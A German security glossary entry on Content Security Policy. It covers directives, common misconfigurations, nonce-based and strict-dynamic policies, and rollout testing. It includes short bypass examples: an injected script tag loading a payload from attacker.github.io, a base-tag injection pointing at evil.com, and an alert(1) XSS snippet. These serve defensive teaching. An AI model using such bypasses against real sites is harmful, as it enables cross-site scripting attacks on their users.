Zum Inhalt springen

Services, Wiki-Artikel, Blog-Beiträge und Glossar-Einträge durchsuchen

↑↓NavigierenEnterÖffnenESCSchließen
Schutzmechanismen Glossar

CSP - Content Security Policy

Content Security Policy (CSP) ist ein HTTP-Header der dem Browser vorschreibt welche Quellen für Skripte, Stylesheets, Bilder und andere Ressourcen erlaubt sind. CSP verhindert XSS-Angriffe indem Inline-Skripte und unbekannte externe Quellen blockiert werden. Häufige Fehlkonfigurationen: unsafe-inline, unsafe-eval, Wildcard-Hosts, fehlende default-src Direktive. Empfohlen: Nonce-basiertes CSP oder Strict-Dynamic.

Content Security Policy (CSP) ist ein Browser-Sicherheitsmechanismus der über den HTTP-Response-Header Content-Security-Policy gesteuert wird. Er ermöglicht Webseitenbetreibern präzise zu definieren welche Ressourcen (Skripte, Stylesheets, Bilder, Frames) aus welchen Quellen geladen werden dürfen. Korrekt implementiert ist CSP die wirkungsvollste Defense-in-Depth-Maßnahme gegen Cross-Site-Scripting (XSS).

CSP-Grundstruktur und Direktiven

Content-Security-Policy: <direktive> <quellen>; <direktive> <quellen>; ...

Wichtige Direktiven

DirektiveFunktion
default-srcFallback für alle Ressourcen-Typen
script-srcJavaScript-Quellen
style-srcCSS-Quellen
img-srcBild-Quellen
connect-srcFetch/XHR/WebSocket-Verbindungen
font-srcWeb-Font-Quellen
frame-srciframe-Quellen (auch: frame-ancestors gegen Clickjacking)
object-srcPlugin-Quellen (Flash, Java) - am besten: 'none'
media-srcAudio/Video-Quellen
base-uriErlaubte base-href-Werte (Base-Tag-Injection!)
form-actionErlaubte Formular-Ziele

Quell-Angaben

Quell-AngabeBedeutung
'none'Nichts erlaubt
'self'Gleiche Origin
https:Alle HTTPS-Quellen
https://cdn.example.comSpezifische Domain
'nonce-<random>'Einmaliger Zufallswert (sicherste Methode!)
'hash-<alg>-<base64>'Erlaubt spezifischen Inline-Code per Hash
'strict-dynamic'Vertraut Skripten die von vertrauenswürdigen Skripten geladen werden
'unsafe-inline'Alle Inline-Skripte erlaubt (UNSICHER!)
'unsafe-eval'Dynamische Code-Ausführung erlaubt (UNSICHER!)

Häufige CSP-Fehlkonfigurationen

Fehlkonfiguration 1 - unsafe-inline + script-src

Content-Security-Policy: script-src 'self' 'unsafe-inline';
  • 'unsafe-inline' macht CSP WERTLOS gegen XSS!
  • Alle Inline-Skripte (<script>alert(1)</script>) erlaubt
  • Angreifer kann XSS trotz CSP ausführen!

Häufige Begründung: “Wir brauchen Inline-Skripte für Analytics/Tracking” - Lösung: Nonce-basiertes CSP!

Fehlkonfiguration 2 - Wildcard-Hosts

Content-Security-Policy: script-src 'self' https: *.cdn.com;
  • https: erlaubt ALLE HTTPS-Quellen weltweit → wertlos!
  • *.cdn.com: Angreifer legt Datei auf cdn.com ab und umgeht CSP

Bypass-Beispiel:

CSP: script-src 'self' *.github.io;
→ Angreifer erstellt: attacker.github.io/payload.js
→ Injiziert: <script src="https://attacker.github.io/payload.js"></script>
→ CSP erlaubt es (github.io im Wildcard)!

Fehlkonfiguration 3 - JSONP-Endpoint in Whitelist

CSP: script-src 'self' https://api.google.com;
  • Öffentlicher JSONP-Endpoint von google.com → CSP erlaubt es!
  • Callback-Parameter wird ausgeführt
  • Bekannte JSONP-Bypass-Endpoints existieren bei großen CDNs

Fehlkonfiguration 4 - Fehlende Direktiven

Content-Security-Policy: script-src 'self';
  • Ohne default-src: andere Ressourcen (img-src, style-src) unkontrolliert!
  • CSS-Injection möglich: style-src nicht gesetzt

Fehlkonfiguration 5 - object-src fehlt

Content-Security-Policy: script-src 'self'; default-src 'self';
  • Ohne object-src 'none': Browser-Plugins könnten geladen werden
  • object-src 'none' IMMER explizit setzen!

Fehlkonfiguration 6 - base-uri fehlt

Content-Security-Policy: script-src 'self';
  • Ohne base-uri 'self': Base-Tag-Injection möglich
  • <base href="https://evil.com/"> → alle relativen URLs zeigen auf evil.com!

Nonce-basiertes CSP (Empfohlen)

Funktionsprinzip

  1. Server generiert zufälligen Nonce pro Request (min. 128 Bit!)
  2. Nonce in CSP-Header und im erlaubten Script-Tag setzen
  3. Browser führt nur Script-Tags mit korrektem Nonce aus
  4. XSS-Payload hat keinen Nonce → blockiert!

Python (Flask)

import secrets
from functools import wraps

def with_csp(f):
  @wraps(f)
  def wrapper(*args, **kwargs):
    nonce = secrets.token_urlsafe(32)  # 256-Bit Nonce!
    g.csp_nonce = nonce
    response = f(*args, **kwargs)
    response.headers['Content-Security-Policy'] = (
      f"script-src 'nonce-{nonce}' 'strict-dynamic'; "
      "object-src 'none'; base-uri 'self';"
    )
    return response
  return wrapper

Node.js (Express)

const crypto = require('crypto');
app.use((req, res, next) => {
  res.locals.nonce = crypto.randomBytes(32).toString('base64');
  res.setHeader('Content-Security-Policy',
    `script-src 'nonce-${res.locals.nonce}' 'strict-dynamic'; ` +
    `object-src 'none'; base-uri 'self';`);
  next();
});

Nonce-Sicherheitsregeln

  • Nonce NIEMALS wiederverwenden! (Pro Request neu generieren)
  • Nonce NICHT in URLs, Logs oder Quellcode hardcoden
  • Nonce min. 128 Bit (22+ Base64-Zeichen) - brute-force-safe
  • 'unsafe-inline' ENTFERNEN wenn Nonce aktiv ist (Nonce macht es obsolet)
  • 'strict-dynamic' + Nonce: dynamisch geladene Skripte erben Vertrauen

CSP Strict-Dynamic Mode

Zweck

'strict-dynamic' erlaubt dynamisch geladene Skripte von vertrauenswürdigen Skripten.

Ohne strict-dynamic: Vertrauenswürdiges Skript lädt dynamisch widget.js → widget.js nicht in Whitelist → BLOCKIERT! Viele Frontend-Frameworks scheitern an normalem CSP!

Mit 'strict-dynamic':

Content-Security-Policy: script-src 'nonce-ABC' 'strict-dynamic';
  • Nonce-Skript darf weitere Skripte dynamisch laden
  • Geladene Skripte erben das Vertrauen des Parent-Skripts
  • Kein Whitelisting externer Hosts mehr nötig!

Empfohlenes CSP-Template (2026 State-of-the-Art)

Content-Security-Policy:
  default-src 'none';
  script-src 'nonce-{RANDOM}' 'strict-dynamic';
  style-src 'self' 'nonce-{RANDOM}';
  img-src 'self' data: https:;
  font-src 'self';
  connect-src 'self' https://api.example.com;
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self';
  object-src 'none';
  upgrade-insecure-requests;
  • frame-ancestors 'none': verhindert Clickjacking!
  • upgrade-insecure-requests: HTTP→HTTPS automatisch

CSP Testing und Deployment

1. CSP Evaluator (Google)

  • csp-evaluator.withgoogle.com
  • CSP-Header eingeben → automatische Schwachstellenanalyse
  • Zeigt: welche Direktiven fehlen, welche unsicheren Keywords gesetzt

2. Report-Only Modus (Deployment-Vorbereitung!)

Content-Security-Policy-Report-Only: script-src 'self' 'nonce-XYZ';
report-to: /csp-violations
  • Browser blockiert NICHTS (keine Breaking Changes!)
  • Sendet Violation-Reports für jede Policy-Verletzung
  • Sammeln + Analysieren was gebrockt würde
  • Dann: echten CSP-Header schalten

Violation-Report (JSON):

{
  "csp-report": {
    "document-uri": "https://example.com/page",
    "violated-directive": "script-src",
    "blocked-uri": "https://evil.com/payload.js",
    "original-policy": "script-src 'self'"
  }
}

3. Burp Suite CSP-Testing

  • Burp Extension: CSP Auditor
  • Prüft auf bekannte Bypasses: unsafe-inline, JSONP-Hosts, Wildcards

4. Schrittweise Migration

  1. Report-Only ohne Blockierung (1-2 Wochen sammeln)
  2. Echte CSP auf weniger kritischen Seiten
  3. Auswertung + Anpassung
  4. Rollout auf alle Seiten

CSP und Single-Page-Applications (SPA)

  • React: webpack nonce-Injection konfigurieren
  • Next.js: next.config.js CSP-Header + Script nonce in _document.tsx
  • Vue: nonce in index.html über Server-Variable injiziert
  • Angular: angular.json security-policy oder Nonce über Server-Header

Cookielose Analyse via Matomo (selbst gehostet, kein Tracking-Cookie). Datenschutzerklärung